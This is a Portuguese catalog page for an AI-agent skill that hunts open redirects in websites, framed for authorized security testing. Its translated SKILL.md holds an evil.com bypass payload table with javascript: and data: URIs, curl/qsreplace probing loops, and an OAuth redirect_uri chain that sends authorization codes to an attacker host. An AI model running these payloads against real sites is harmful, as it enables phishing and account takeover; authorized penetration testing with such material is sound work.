hunt-open-redirect
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
O que ela faz
Esta ferramenta procura por 'redirecionamentos abertos' em sites. Isso acontece quando um site te manda para outro site sem que você espere, e o site de destino pode ser malicioso.
Quando usar
- ✓Ao testar a segurança de um site.
- ✓Para verificar se um site pode ser usado para enganar usuários.
- ✓Ao analisar como um site lida com links externos.
Exemplo do que pedir para a IA
“Procure por redirecionamentos abertos no site example.com”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta testa vários padrões de links que podem causar redirecionamentos. Ela verifica se o site responde corretamente ao ser direcionado para um endereço malicioso.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill hunt-open-redirectOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-open-redirect/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar a URL exata do alvo, IP, conta ou recurso.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
HUNT-OPEN-REDIRECT — Redirecionamento Aberto
Alvos Joia da Coroa
Redirecionamento aberto por si só é Baixo. Encadeado ao OAuth = Crítico (ATO).
Cadeias de maior valor:
- Redirecionamento aberto → Roubo de código de autorização OAuth — redirect_uri contém redirecionamento aberto em domínio confiável → código de autorização enviado ao atacante → ATO
- Redirecionamento aberto → Phishing — usuários confiam na URL porque ela começa com target.com
- Redirecionamento aberto → Escalada SSRF — se o redirecionamento for seguido no lado do servidor → SSRF
- Redirecionamento aberto → Fixação de sessão — força o usuário ao endpoint de login com sessão pré-definida
Sinais de Superfície de Ataque
?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=
Tabela de Bypass
| Técnica | Payload |
|---|---|
| Básico | https://evil.com |
| Protocolo relativo | //evil.com |
| Bypass de barra invertida | /\\evil.com |
| Confusão de arroba | https://target.com@evil.com |
| Barra dupla | //evil.com/%2F.. |
| Codificação de URL | %2Fevil.com |
| Byte nulo | evil.com%00target.com |
| Espaço em branco | evil.com%09 ou %20 |
| URI JavaScript | javascript:window.location='https://evil.com' |
| URI de dados | data:text/html,<script>window.location='https://evil.com'</script> |
| Subdomínio | https://target.com.evil.com |
| Fragmento | https://evil.com#.target.com |
Metodologia de Caça Passo a Passo
Fase 1 — Descobrir Parâmetros de Redirecionamento
# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt
# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
Fase 2 — Teste Básico
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done
Fase 3 — Técnicas de Bypass
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
"https://evil.com"
"//evil.com"
"/\\evil.com"
"https://$TARGET@evil.com"
"https://evil.com%23.$TARGET"
"https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
echo "$P → $LOC"
done
Fase 3b — Redirecionamento aberto baseado em DOM (sink do lado do cliente)
A busca Location: no lado do servidor perde redirecionamentos que ocorrem puramente em JS. Fonte (location.hash/location.search/document.referrer) atribuída a um sink de navegação.
grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
| grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...)
# Common shape: var u=new URLSearchParams(location.search).get('url'); location=u;
(PortSwigger: Redirecionamento aberto baseado em DOM.)
Fase 4 — Teste de Cadeia OAuth
# Se o alvo tiver OAuth, verifique se redirect_uri aceita redirecionamento aberto
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20
# Construir URL OAuth com redirecionamento aberto como redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Ataque: redirect_uri=https://target.com/redirect?url=https://evil.com
…
Perguntas frequentes
O que é um 'redirecionamento aberto'?
É quando um site te envia para outro site, e esse outro site pode ser controlado por um atacante. Isso pode ser usado para roubar informações ou enganar pessoas.
Por que isso é perigoso?
Um atacante pode fazer um site confiável te enviar para um site falso que parece real, roubando suas senhas ou dados. Também pode ser usado para acessar sistemas internos de forma indevida.
Preciso de permissão para usar isso?
Sim, esta ferramenta só deve ser usada em sistemas para os quais você tem permissão explícita e por escrito. Usá-la sem autorização é ilegal.
Detalhes
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #3279
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC